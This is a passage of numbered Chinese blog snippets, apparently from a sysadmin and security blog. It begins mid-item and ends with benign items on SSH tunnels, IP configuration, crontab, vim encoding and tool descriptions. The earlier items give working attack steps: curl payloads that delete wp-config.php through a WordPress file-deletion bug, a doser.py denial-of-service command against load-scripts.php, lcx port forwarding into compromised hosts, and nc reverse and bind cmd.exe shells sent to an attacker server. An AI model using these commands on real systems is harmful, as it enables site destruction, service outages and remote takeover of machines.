$thumbfile) ); } } }$meta['thumb']来自与数据库,是图片的属性之一。代码未检查$meta['thumb']的内容,直接带入unlink函数,如果$meta['thumb']可控则可导致文件删除。 2.文件/wp-admin/post.php中: switch($action) { case 'editattachment': check_admin_referer('update-post_' . $post_id); // Update the thumbnail filename $newmeta = wp_get_attachment_metadata( $post_id, true ); $newmeta['thumb'] = $_POST['thumb']; wp_update_attachment_metadata( $post_id, $newmeta );$newmeta['thumb']来自于$_POST['thumb'],未经过滤直接将其存入数据库,即上一步的$meta['thumb']可控。 详细分析可见:WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/ 漏洞利用登录后台,添加媒体 访问 http://你的域名/wp-admin/upload.php, 上传任意图片. 将 $meta['thumb'] 设置为我们要删除的文件 3.1 点击第二步中我们上传的图片, 并记住图片ID. 3.2 访问 http://你的域名/wp-admin/post.php?post=4&action=edit. 在网页源代码中找到 _wpnonce. 发送Payload:curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'删除文件4.1 在网页源码中找到另外一个 _wpnonce. 发送Payload:curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'刷新网页已经可以重装网站。
  17. 漏洞分析在文件 WordPress/wp-admin/load-scripts.php 中: <?php ...//ignore $load = $_GET['load']; if ( is_array( $load ) ) { $load = implode( '', $load ); } $load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load ); $load = array_unique( explode( ',', $load ) ); ...//ignore foreach ( $load as $handle ) { if ( ! array_key_exists( $handle, $wp_scripts->registered ) ) { continue; } $path = ABSPATH . $wp_scripts->registered[ $handle ]->src; $out .= get_file( $path ) . "\n"; } ...//ignore echo $out; exit;load-scripts.php 文件会根据load参数传入的文件名依次载入文件并输出。同时程序对load参数的内容进行了过滤,只有在白名单$wp_scripts中的JS文件才会被载入。 该JS文件白名单的内容在文件 WordPress/wp-includes/script-loader.php 中: ...//ignore $scripts->add( 'wp-lists', "/wp-includes/js/wp-lists$suffix.js", array( 'wp-ajax-response', 'jquery-color' ), false, 1 ); // WordPress no longer uses or bundles Prototype or script.aculo.us. These are now pulled from an external source. $scripts->add( 'prototype', 'https://ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js', array(), '1.7.1' ); $scripts->add( 'scriptaculous-root', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js', array( 'prototype' ), '1.9.0' ); $scripts->add( 'scriptaculous-builder', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/builder.js', array( 'scriptaculous-root' ), '1.9.0' ); $scripts->add( 'scriptaculous-dragdrop', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/dragdrop.js', array( 'scriptaculous-builder', 'scriptaculous-effects' ), '1.9.0' ); ...//ignore $scripts->add( 'jquery-ui-sortable', "/wp-includes/js/jquery/ui/sortable$dev_suffix.js", array( 'jquery-ui-mouse' ), '1.11.4', 1 ); $scripts->add( 'jquery-ui-spinner', "/wp-includes/js/jquery/ui/spinner$dev_suffix.js", array( 'jquery-ui-button' ), '1.11.4', 1 ); $scripts->add( 'jquery-ui-tabs', "/wp-includes/js/jquery/ui/tabs$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.11.4', 1 ); $scripts->add( 'jquery-ui-tooltip', "/wp-includes/js/jquery/ui/tooltip$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.11.4', 1 ); $scripts->add( 'jquery-ui-widget', "/wp-includes/js/jquery/ui/widget$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 ); ...//ignoreJS文件白名单中共有181个文。如果我们请求 load-scripts.php 文件使其同时载入全部JS文件,PHP代码将要进行181次的读取操作。若同时发起多个载入全部JS文件的请求,这将极大地消耗服务器资源,即有可能导致网站无法正常响应其他用户的请求。 漏洞利用下载 doser.py 脚本 下载地址:https://github.com/quitten/doser.py 使用 doser.py 发起拒绝服务攻击将下列命令中的***.vsplate.me替换为您的实验环境地址。 执行系统命令: python doser.py -g 'http://***.vsplate.me/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 100利用成功,目标主机无法访问
  18. 通过远程url调用shell 命令是很爽的事情,可以解决很多问题. 况且本文介绍的方法是非阻塞的, 也就是说可以很多并发调用,无论你的命令执行时间多久, 并不会导致web服务阻塞异常. 首先自行安装openresty,不做介绍了就. 假如我们安装路径为:/southtv/openresty 1 首先安装sockprocgit clone https://github.com/juce/sockproc cd sockproc make ./sockproc /tmp/shell.sock chmod 0666 /tmp/shell.socksockproc 是一个服务器程序, 侦测unix socket 或者 tcp socket , 并把收到的命令,传递给子进程执行,执行完毕后,把结果返回给客户端, 我们就让sockproc 侦测/tmp/shell.sock 的套接口有没有数据到来. 2 安装lua-resty-shell模块.它是一个很小的库, 配合openresty 使用, 目的是提供类似于os.execute 或io.popen的功能, 唯一区别它是非阻塞的, 也就是说即使需要耗时很久的命令,你也可以使用它 git clone https://github.com/juce/lua-resty-shell cd lua-resty-shell cp lib/resty/shell.lua /southtv/openresty/lualib/resty/ 这是你的项目路径3 创建自己的命令调用lua 脚本vim /southtv/openresty/lualib/command.lua --名字我起名为command.lua local shell = require "resty.shell" local args = { socket = "unix:/tmp/shell.sock", --这是第一步的unxi socket } local status, out, err = shell.execute("ls", args) --ls 是想调用的命令, ngx.header.content_type = "text/plain" ngx.say("Result:\n" .. out) -- 命令输出结果4 更改nginx 配置vim /southtv/openresty/nginx/conf/nginx.conf #增加一个localtion 配置 location = /api/ls { content_by_lua_file /southtv/openresty/lualib/command.lua; }重启 nginx /southtv/openresty/nginx/sbin/nginx -s reload 1 5 测试效果了可以用浏览器直接打开: http://你的IP/api/ok 可以看到你期望的结果了.
  19. 下面就先详细讲解下LXC转发工具与使用方法: lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上, 当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389. 用法: 如在本机B上监听 -listen 51 3389,在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。 例:现在有一个ip为222.221.221.22的websehll.用端口扫描发现开放了3389端口 可是我们输入外网IP可是不能正常链接。那么很有可能就是内网服务器。我们dos执行ipconfig可以看到。 这样的就是内网服务器了。 上传lcx.exe到肉鸡 然后 cx.exe -listen 51 3389 意思是监听51端口并转发到3389端口。 显示如下[+] Listening port 51 …… [+] Listen OK! [+] Listening port 3389 …… [+] Listen OK! [+] Waiting for Client on port:51 …… 然后在肉鸡上运行 lcx.exe -slave 你的IP 51 222.221.221.22 3389 222.221.221.22是我举例用的肉鸡IP.换成你的..运行以后本机监听端口。 显示如下信息 [+] Listening port 51 …… [+] Listen OK! [+] Listening port 3389 …… [+] Listen OK! [+] Waiting for Client on port:51 …… [+] Accept a Client on port 55 from 222.221.221.22 …… [+] Waiting another Client on port:3389…. 好了.现在在自己机子上链接 127.0.0.1 或者输你自己IP. 发现进去的不是自己机子,(或者自己机子根本连不上),而是肉鸡A了!优点,搞定内网肉鸡. 缺点,有点麻烦,而且每次都要通过sqltools先进行端口转发.当然也可以用反弹木马控制肉鸡 下面是其他网友的补充: 本机: lcx -listen 2222 3333 2222为转发端口,3333为本机任意未被占用的端口 肉鸡:lcx -slave 119.75.217.56 2222 127.0.0.1 3389 119.75.217.56 为本机IP,2222为转发端口,127.0.0.1为肉鸡内网IP,3389为远程终端端口 3389连接时格式 127.0.0.1:3333 内网转发姿势 一、lcx 的使用肉鸡上执行:lcx.exe –slave 公网 ip + 端口 肉鸡 ip + 端口 例如:lcx.exe -slave xxx.xxx.xxx.xxx 10000 127.0.0.1 3389 意思是把肉鸡的 3389 端口转发到 xxx.xxx.xxx.xxx 公网的 10000 端口公网 ip 机器上执行 Lcx.exe –listen 10000 10001 例如:Lcx.exe –listen 10001 10000 意思是监听公网 ip 机器上的 10001 端口请求,并将 10001 的请求传送给 10000 端口。 此时,RDP 连接,只需要输入 127.0.0.1:10000,即可远程连接到肉鸡上。 二、nc 反弹 cmdshell开启肉鸡代理执行 cmdshell 在肉鸡上执行 nc -l -p 2333 -t -e cmd.exe 意思是,肉鸡监听本地的 2333 端口,且应答通过 telnet(-t)模式执行 cmd.exe 程序 在自己的公网服务器上执行 nc -nvv 肉鸡 ip 2333反向代理执行 cmdshell 在公网服务器上运行 nc -l -p 2333 意思是监听本地端口 2333,登台其他电脑登陆过来 在肉鸡上执行 nc -t -e cmd.exe 公网服务器 ip 2333 意思是让肉鸡可以通过 telnet 模式执行 cmd.exe 程序,并可以把执行权通过 2333 端口给公网服务器
  20. Submitted by dravenk on Wed, 08/08/2018 - 16:06 所需条件: 一台具有公网地址的服务器一台局域网内的电脑在内网的电脑上执行: ssh -qTfNn -R '[::]:8787:localhost:8887' User@RemoteHost解释:访问远程服务器(RemoteHost)的 8787 端口,会将访问转发到内网电脑的 8887 端口。 还需要 vim /etc/ssh/sshd_config加上 GatewayPorts yes
  21. 临时修改IP ifconfig eno16777736 192.168.1.101 注意(eno16777736)是默认第一个网络接口名称 永久修改IP第一步:查看网络接口 ifconfig 第二步:去对应的网络接口配置文件修改配置,注意文件名称是(ifcfg-默认第一个网络接口名称),文件路径是/etc/sysconfig/network-scripts/ vim /etc/sysconfig/network-scripts/ifcfg-网络接口名称 修改以下配置 TYPE=Ethernet BOOTPROTO=static DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no NAME=eno16777736 UUID=9e8d604f-d991-4aa2-88a3-4c679e6f139c DEVICE=eno16777736 ONBOOT=yes PEERDNS=yes PEERROUTES=yes IPV6_PEERDNS=yes IPV6_PEERROUTES=yes HWADDR=00:0c:29:ce:3f:3c #MAC地址 IPADDR=192.168.1.104 #静态IP GATEWAY=192.168.1.2 #默认网关 NETMASK=255.255.255.0 #子网掩码 DNS1=192.168.1.2 #DNS配置第三步:重启网络服务 servicenetwork restart
  22. 说明:很多时候我们的VPS运行脚本或者重启某些软件的时候都需要用到定时功能,这时候就要用到Crontab定时软件了,这里简单的说下安装和使用方法。 安装一般我们使用的Centos或者Debian都自带Crontab定时软件,如果没有,那我们就需要安装了。 1、centos安装crontab yum install vixie-cron crontabs #安装Crontab chkconfig crond on #设置开机启动Crontab service crond start #启动Crontab2、debian安装crontab apt-get install cron #安装Crontab /etc/init.d/cron restart #重启Crontab使用1、基本命令 crontab -e #编辑定时任务 crontab -r #移除定时任务 crontab -l #查看定时任务2、使用命令 添加的命令必须以如下格式: /root/rats.sh #前5个*指时间,后面为命令前5个*分别表示:分钟:0-59 小时:1-23 日期:1-31 月份:1-12 星期:0-6(0表示周日) 还可以用一些特殊符号: *: 表示任何时刻 ,: 表示分割 -:表示一个段,如:1-5,就表示1到5点 /n : 表示每个n的单位执行一次,如:*/1, 就表示每隔1个小时执行一次命令。也可以写成1-23/1 3、定时任务设置举例 21 * #21:43 执行05 * #05:15 执行17 * #17:00 执行17 1 #每周一的17:00 执行 0,10 17 0,2,3 #每周日,周二,周三的17:00和17:10 执行 0-10 17 1 #毎月1日从17:00到7:10毎隔1分钟 执行0 1,15 * 1 #毎月1日和15日和一日的0:00 执行4 1 #毎月1日的4:42分 执行21 1-6 #周一到周六21:00 执行 0,10,20,30,40,50   #每隔10分 执行 /10 * #每隔10分 执行1 * #从1:0到1:59每隔1分钟 执行1 * #1:00 执行/1 #毎时0分每隔1小时 执行毎时0分 执行8-20/3 * #8:02,11:02,14:02,17:02,20:02 执行5 1,15 #1日和15日的5:30 执行
  23. 说明:一般我们在编辑文件的时候,都喜欢用WinSCP等FTP软件进行编辑,这样确实方便不少,也有时候为了方便直接用vim编辑文件。不过有时候编辑带有中文文件的时候会出现乱码的情况,这样有点影响我们的操作,这里就说下解决方法。 方法1、编辑.vimrc文件 vim .vimrc加入以下代码: set fileencodings=utf-8,ucs-bom,gb18030,gbk,gb2312,cp936 set termencoding=utf-8 set encoding=utf-8保存并退出,当然也可以用WinSCP等FTP软件在root文件夹新建并编辑.vimrc文件。 2、执行生效 source .vimrc最后我们再使用vim编辑中文文件的时候就不会出现乱码情况了。
  24. 说明方法有哪些是一个百度网盘搜索工具,我们可以搜索很多网盘里的资源,就算是加密文件,有的也会自动获取密码,但不是全部都能获取到,总体来说还是很强大的。 截图 使用方法下载后打开,输入搜索内容后,搜索,双击列表将会自动打开该网盘链接,若有密码将自动复制密码,再将密码粘贴进去。
  25. 简介FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具,充分满足开发,运维需求。并且有很多特色功能,如:免费海外服务器远程桌面加速,ssh加速、双边tcp加速、内网穿透等。 截图 主要特性多平台支持Windows,Mac OS X,Linux。 多标签,批量服务器管理。 支持登录Ssh和Windows远程桌面。 漂亮的平滑字体显示,内置100多个配色方案。 终端,sftp同屏显示,同步切换目录。 命令自动提示,智能匹配,输入更快捷,方便。 sftp支持,通过各种优化技术,加载更快,切换,打开目录无需等待。 服务器网络,性能实时监控,无需安装服务器插件。 内置海外服务器加速,加速远程桌面和ssh连接,操作流畅无卡顿。 双边加速功能,大幅度提高访问服务器速度。 内存,Cpu性能监控,Ping延迟丢包,Trace路由监控(需要高级版支持)。 实时硬盘监控。 进程管理器。 快捷命令面板,可同时显示数十个命令。 内置文本编辑器,支持语法高亮,代码折叠,搜索,替换。 ssh和远程桌面均支持代理服务器。 打包传输,自动压缩解压。 免费内网穿透,无需设置路由器,无需公网ip。 支持rz、sz(zmodem)。 更多功能会逐步增加,保持最少每周一次更新的频率,敬请关注。 下载使用Windows版下载地址:http://www.hostbuf.com/downloads/finalshell_install.exe Mac版、Linux版安装及教程:http://www.hostbuf.com/t/1059.html 更新日志:http://www.hostbuf.com/t/989.html